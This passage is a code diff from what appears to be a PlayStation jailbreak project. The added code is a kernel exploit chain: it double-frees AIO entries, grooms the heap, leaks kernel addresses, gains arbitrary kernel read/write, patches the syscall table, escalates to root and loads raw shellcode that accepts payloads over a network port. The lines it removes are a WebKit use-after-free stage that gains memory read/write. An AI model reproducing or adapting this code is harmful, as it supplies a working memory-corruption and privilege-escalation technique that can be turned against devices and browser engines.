+
+ log('change sys_aio_submit() to sys_kexec()');
+ // sysent[661] is unimplemented so free for use
+ const offset_sysent_661 = 0x1107f00;
+ const sysent_661 = kbase.add(offset_sysent_661);
+ // .sy_narg = 6
+ kmem.write32(sysent_661, 6);
+ // .sy_call = gadgets['jmp qword ptr [rsi]']
+ kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad));
+ // .sy_thrcnt = SY_THR_STATIC
+ kmem.write32(sysent_661.add(0x2c), 1);
+
+ log('add JIT capabilities');
+ // TODO just set the bits for JIT privs
+ // cr_sceCaps[0]
+ kmem.write64(p_ucred.add(0x60), -1);
+ // cr_sceCaps[1]
+ kmem.write64(p_ucred.add(0x68), -1);
+
+ const buf = await get_patches('./kpatch/900.elf');
+ // FIXME handle .bss segment properly
+ // assume start of loadable segments is at offset 0x1000
+ const patches = new View1(await buf, 0x1000);
+ let map_size = patches.size;
+ const max_size = 0x10000000;
+ if (map_size > max_size) {
+ die(`patch file too large (>${max_size}): ${map_size}`);
+ }
+ if (map_size === 0) {
+ die('patch file size is zero');
+ }
+ map_size = map_size+page_size & -page_size;
+
+ const prot_rwx = 7;
+ const prot_rx = 5;
+ const prot_rw = 3;
+ const exec_p = new Int(0, 9);
+ const write_p = new Int(max_size, 9);
+ const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx);
+ const write_fd = sysi('jitshm_alias', exec_fd, prot_rw);
+
+ const exec_addr = chain.sysp(
+ 'mmap',
+ exec_p,
+ map_size,
+ prot_rx,
+ MAP_SHARED|MAP_FIXED,
+ exec_fd,
+ 0,
+ );
+ const write_addr = chain.sysp(
+ 'mmap',
+ write_p,
+ map_size,
+ prot_rw,
+ MAP_SHARED|MAP_FIXED,
+ write_fd,
+ 0,
+ );
+
+ log(`exec_addr: ${exec_addr}`);
+ log(`write_addr: ${write_addr}`);
+ if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) {
+ die('mmap() for jit failed');
+ }
+
+ log('mlock exec_addr for kernel exec');
+ sysi('mlock', exec_addr, map_size);
+
+ // mov eax, 0x1337; ret (0xc300_0013_37b8)
+ const test_code = new Int(0x001337b8, 0xc300);
+ write_addr.write64(0, test_code);
+
+ log('test jit exec');
+ sys_void('kexec', exec_addr);
+ let retval = chain.errno;
+ log('returned successfully');
+
+ log(`jit retval: ${retval}`);
+ if (retval !== 0x1337) {
+ die('test jit exec failed');
+ }
+
+ const pipe_save = restore_info[1];
+ restore_info[1] = pipe_save.addr;
+ log('mlock pipe save data for kernel restore');
+ sysi('mlock', restore_info[1], page_size);
+
+ mem.cpy(write_addr, patches.addr, patches.size);
+ sys_void('kexec', exec_addr, ...restore_info);
+
+ log('setuid(0)');
+ sysi('setuid', 0);
+ log('kernel exploit succeeded!');
+ localStorage.ExploitLoaded="yes"
+ sessionStorage.ExploitLoaded="yes"
+ //alert("kernel exploit succeeded!");
+}
+
+
+
+// FUNCTIONS FOR STAGE: SETUP
+
+function setup(block_fd) {
+ // this part will block the worker threads from processing entries so that
+ // we may cancel them instead. this is to work around the fact that
+ // aio_worker_entry2() will fdrop() the file associated with the aio_entry
+ // on ps5. we want aio_multi_delete() to call fdrop()
+ log('block AIO');
+ const reqs1 = new Buffer(0x28 * num_workers);
+ const block_id = new Word();
+
+ for (let i = 0; i < num_workers; i++) {
+ reqs1.write32(8 + i*0x28, 1);
+ reqs1.write32(0x20 + i*0x28, block_fd);
+ }
+ aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
+
+ {
+ const reqs1 = make_reqs1(1);
+ const timo = new Word(1);
+ const id = new Word();
+ aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr);
+ chain.do_syscall_clear_errno(
+ 'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr);
+ const err = chain.errno;
+ if (err !== 60) { // ETIMEDOUT
+ die(`SceAIO system not blocked. errno: ${err}`);
}
+ free_aios(id.addr, 1);
+ }
+
+ log('heap grooming');
+ // chosen to maximize the number of 0x80 malloc allocs per submission
+ const num_reqs = 3;
+ const groom_ids = new View4(num_grooms);
+ const groom_ids_p = groom_ids.addr;
+ const greqs = make_reqs1(num_reqs);
+ // allocate enough so that we start allocating from a newly created slab
+ spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
+ cancel_aios(groom_ids_p, num_grooms);
+ return [block_id, groom_ids];
+}
+
+function malloc(sz) {
+ var backing = new Uint8Array(0x10000 + sz);
+ nogc.push(backing);
+ var ptr = mem.readp(mem.addrof(backing).add(0x10));
+ ptr.backing = backing;
+ return ptr;
+ }
+
+ function malloc32(sz) {
+ var backing = new Uint8Array(0x10000 + sz * 4);
+ nogc.push(backing);
+ var ptr = mem.readp(mem.addrof(backing).add(0x10));
+ ptr.backing = new Uint32Array(backing.buffer);
+ return ptr;
+ }
+
+function runBinLoader() {
+ var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
+ var payload_loader = malloc32(0x1000);
+ var BLDR = payload_loader.backing;
+ BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC;
+ BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302;
+ BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF;
+ BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8;
+ BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474;
+ BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400;
+ BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000;
+ BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000;
+ BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300;
+ BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
+ BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
+ BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
+ BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
+ BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
+ BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
+ BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
+ BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
+ BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
+ BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
+ BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
+ BLDR[60] = 0xC3050FCA;
+
+ chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
+
+ var pthread = malloc(0x10);
+ sysi('mlock', payload_buffer, 0x300000);
+
+ call_nze(
+ 'pthread_create',
+ pthread,
+ 0,
+ payload_loader,
+ payload_buffer
+ );
+
+ log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now');
+}
+
+// overview:
+// * double free a aio_entry (resides at a 0x80 malloc zone)
+// * type confuse a evf and a ip6_rthdr
+// * use evf/rthdr to read out the contents of the 0x80 malloc zone
+// * leak a address in the 0x100 malloc zone
+// * write the leaked address to a aio_entry
+// * double free the leaked address
+// * corrupt a ip6_pktopts for restricted r/w
+// * corrupt a pipe for arbitrary r/w
+//
+// the exploit implementation also assumes that we are pinned to one core
+export async function kexploit() {
+ const _init_t1 = performance.now();
+ await init();
+ const _init_t2 = performance.now();
+
+ try {
+ chain.sys('setuid', 0);
+ } catch (e) {
+ localStorage.ExploitLoaded = "no";
+ }
+
+ if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") {
+ runBinLoader();
+ return new Promise(() => {});
+ }
+
+ // fun fact:
+ // if the first thing you do since boot is run the web browser, WebKit can
+ // use all the cores
+ const main_mask = new Long();
+ get_our_affinity(main_mask);
+ log(`main_mask: ${main_mask}`);
+
+ // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
+ // spraying and grooming easier
+ log(`pinning process to core #${main_core}`);
+ set_our_affinity(new Long(1 << main_core));
+ get_our_affinity(main_mask);
+ log(`main_mask: ${main_mask}`);
+
+ log("setting main thread's priority");
+ sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
+
+ const [block_fd, unblock_fd] = (() => {
+ const unix_pair = new View4(2);
+ sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
+ return unix_pair;
})();
- const data_len = 9;
- // sizeof WTF::Vector
- const size_vector = 0x10;
+ const sds = [];
+ for (let i = 0; i < num_sds; i++) {
+ sds.push(new_socket());
+ }
- // SSV offsets
- const off_m_data = 8;
- const off_m_abc = 0x18;
- // view offsets
- const voff_vec_abc = 0; // Vector
- const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
- const voff_data = voff_abc + size_abc;
+ let block_id = null;
+ let groom_ids = null;
+ try {
+ log('STAGE: Setup');
+ [block_id, groom_ids] = setup(block_fd);
- // WTF::Vector
- // write m_data
- // m_buffer
- ssv_buf.write64(off_m_data, view_p.add(voff_data));
- // m_capacity
- ssv_buf.write32(off_m_data + 8, data_len);
- // m_size
- ssv_buf.write64(off_m_data + 0xc, data_len);
+ log('\nSTAGE: Double free AIO queue entry');
+ const sd_pair = double_free_reqs2(sds);
- // 6 is the serialization format version number for ps4 6.00. The format
- // is backwards compatible and using a value less than the current version
- // number used by a specific WebKit version is considered valid.
- //
- // See CloneDeserializer::isValid() from
- // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
- const CurrentVersion = 6;
- const ArrayBufferTransferTag = 23;
- view.write32(voff_data, CurrentVersion);
- view[voff_data + 4] = ArrayBufferTransferTag;
- view.write32(voff_data + 5, 0);
+ log('\nSTAGE: Leak kernel addresses');
+ const [
+ reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
+ ] = leak_kernel_addrs(sd_pair);
- // std::unique_ptr>
- // write m_arrayBufferContentsArray
- ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
- // write WTF::Vector
- view.write64(voff_vec_abc, view_p.add(voff_abc));
- view.write32(voff_vec_abc + 8, 1);
- view.write32(voff_vec_abc + 0xc, 1);
+ log('\nSTAGE: Double free SceKernelAioRWRequest');
+ const [pktopts_sds, dirty_sd] = double_free_reqs1(
+ reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
+ );
- if (size_abc === 0x20) {
- // m_destructor, offset 0, leave as 0
- // m_shared, offset 8, leave as 0
- // m_data
- view.write64(voff_abc + 0x10, addr);
- // m_sizeInBytes
- view.write32(voff_abc + 0x18, size);
- } else {
- // m_data
- view.write64(voff_abc + 0, addr);
- // m_destructor (48 bits), offset 8, leave as 0
- // m_shared (48 bits), offset 0xe, leave as 0
- // m_sizeInBytes
- view.write32(voff_abc + 0x14, size);
+ log('\nSTAGE: Get arbitrary kernel read/write');
+ const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
+ pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
+
+ log('\nSTAGE: Patch kernel');
+ await patch_kernel(kbase, kmem, p_ucred, restore_info);
+
+ } finally {
+ close(unblock_fd);
+
+ const t2 = performance.now();
+ const ftime = t2 - t1;
+ const init_time = _init_t2 - _init_t1;
+ log('\ntime (include init): ' + (ftime) / 1000);
+ log('kex time: ' + (t2 - _init_t2) / 1000);
+ log('init time: ' + (init_time) / 1000);
+ log('time to init: ' + (_init_t1 - t1) / 1000);
+ log('time - init time: ' + (ftime - init_time) / 1000);
+ }
+ close(block_fd);
+ free_aios2(groom_ids.addr, groom_ids.length);
+ aio_multi_wait(block_id.addr, 1);
+ aio_multi_delete(block_id.addr, block_id.length);
+ for (const sd of sds) {
+ close(sd);
}
}
-async function make_arw(reader, view2, pop) {
- const rdr = reader;
- // we have to align the fake object to atomSize (16) else the process
- // crashes. we don't know why
- //
- // since cells (GC memory chunks) are always aligned to atomSize, there
- // might be code that's assuming that all GC pointers are aligned
- //
- // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
- // PS4 8.0x
- const fakeobj_off = 0x20;
- const fakebt_base = fakeobj_off + off.size_jsobj;
- // sizeof JSC::IndexingHeader
- const indexingHeader_size = 8;
- // sizeof JSC::ArrayStorage
- const arrayStorage_size = 0x18;
- // there's only the .raw property
- const propertyStorage = 8;
- const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
+kexploit().then(() => {
+
+ window.pld_size = new Int(0x26200000, 0x9);
- log('STAGE: leak CodeBlock');
- // has too be greater than 0x10. the size of JSImmutableButterfly
- const bt_size = 0x10 + fakebt_off + arrayStorage_size;
- const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
-
- const view = rdr.rstr_view;
- const view_p = rdr.m_data.sub(off.strimpl_inline_str);
- const view_save = new Uint8Array(view);
-
- view.fill(0);
- make_ssv_data(view2, view, view_p, bt_addr, bt_size);
-
- const bt = new BufferView(pop.state);
- view.set(view_save);
-
- log('ArrayBuffer pointing to JSImmutableButterfly:');
- for (let i = 0; i < bt.byteLength; i += 8) {
- log(`${bt.read64(i)} | ${hex(i)}`);
+ var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
+ var payload = window.pld;
+ var bufLen = payload.length * 4
+ var payload_loader = malloc32(bufLen);
+ var loader_writer = payload_loader.backing;
+ for (var i = 0; i < payload.length; i++) {
+ loader_writer[i] = payload[i];
}
+ chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
+ var pthread = malloc(0x10);
- // the immutable butterfly's indexing type is ArrayWithInt32 so
- // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
- // for JSObjects to recursively visit. this means that we can write
- // anything to the the butterfly's data area without fear of a GC crash
-
- const val_true = 7; // JSValue of "true"
- const strs_cell = rdr.read64(strs_addr);
-
- bt.write64(fakeobj_off, strs_cell);
- bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
-
- // since .raw is the first ever created property, it's just besides the
- // indexing header
- bt.write64(fakebt_off - 0x10, val_true);
- // indexing header's publicLength and vectorLength
- bt.write32(fakebt_off - 8, 1);
- bt.write32(fakebt_off - 8 + 4, 1);
-
- // custom ArrayStorage that allows read/write to index 0. we have to use an
- // ArrayStorage because the structure assigned to the structure ID expects
- // one so visitButterfly() will crash if we try to fake the object with a
- // regular butterfly
-
- // m_sparseMap
- bt.write64(fakebt_off, 0);
- // m_indexBias
- bt.write32(fakebt_off + 8, 0);
- // m_numValuesInVector
- bt.write32(fakebt_off + 0xc, 1);
-
- // m_vector[0]
- bt.write64(fakebt_off + 0x10, val_true);
-
- // immutable_butterfly[0] = fakeobj;
- bt.write64(0x10, bt_addr.add(fakeobj_off));
-
- const fake = func()[0];
- log(`fake.raw: ${fake.raw}`);
- log(`fake[0]: ${fake[0]}`);
- log(`fake: [${fake}]`);
-
- const test_val = 3;
- log(`test setting fake[0] to ${test_val}`);
- fake[0] = test_val;
- if (fake[0] !== test_val) {
- die(`unexpected fake[0]: ${fake[0]}`);
- }
-
- function addrof(obj) {
- fake[0] = obj;
- return bt.read64(fakebt_off + 0x10);
- }
-
- // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
- // unlike FastTypedArray, where the buffer is managed by the GC. This
- // prevents random crashes.
- //
- // See JSGenericTypedArrayView::visitChildren() from
- // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
- // PS4 8.0x.
- const worker = new DataView(new ArrayBuffer(1));
- const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
-
- const leaker = {addr: null, 0: 0};
-
- const worker_p = addrof(worker);
- const main_p = addrof(main_template);
- const leaker_p = addrof(leaker);
-
- // we'll fake objects using a JSArrayBufferView whose m_mode is
- // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
- // current fastSizeLimit is 1000. if the length is less than or equal to
- // that, we get a FastTypedArray
- const scaled_sview = off.size_view / 4;
- const faker = new Uint32Array(scaled_sview);
- const faker_p = addrof(faker);
- const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
-
- const vector_idx = off.view_m_vector / 4;
- const length_idx = off.view_m_length / 4;
- const mode_idx = off.view_m_mode / 4;
- const bt_idx = off.js_butterfly / 4;
-
- // fake a Uint32Array using GC memory
- faker[vector_idx] = worker_p.lo;
- faker[vector_idx + 1] = worker_p.hi;
- faker[length_idx] = scaled_sview;
-
- rdr.set_addr(main_p);
- faker[mode_idx] = rdr.read32_at(off.view_m_mode);
- // JSCell
- faker[0] = rdr.read32_at(0);
- faker[1] = rdr.read32_at(4);
- faker[bt_idx] = rdr.read32_at(off.js_butterfly);
- faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
-
- // fakeobj()
- bt.write64(fakebt_off + 0x10, faker_vector);
- const main = fake[0];
-
- log('main (pointing to worker):');
- for (let i = 0; i < off.size_view; i += 8) {
- const idx = i / 4;
- log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
- }
-
- new Memory(
- main, worker, leaker,
- leaker_p.add(off.js_inline_prop),
- rdr.read64(leaker_p.add(off.js_butterfly)),
+ call_nze(
+ 'pthread_create',
+ pthread,
+ 0,
+ payload_loader,
+ payload_buffer,
);
- log('achieved arbitrary r/w');
- rdr.restore();
- // set the refcount to a high value so we don't free the memory, view's
- // death will already free it (a StringImpl is currently using the memory)
- view.write32(0, -1);
- // ditto (a SerializedScriptValue is currently using the memory)
- view2.write32(0, -1);
- // we don't want its death to call fastFree() on GC memory
- make_arw._buffer = bt.buffer;
-}
-
-async function main() {
- log('STAGE: UAF SSV');
- const [fsets, indices] = prepare_uaf();
- const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
-
- log('STAGE: get string relative read primitive');
- const rdr = await make_rdr(view);
-
- for (const fset of fsets) {
- fset.rows = '';
- fset.cols = '';
- }
-
- log('STAGE: achieve arbitrary read/write primitive');
- await make_arw(rdr, view2, pop);
-
- clear_log();
- // path to your script that will use the exploit
- import('./lapse.mjs');
-}
-main();
+})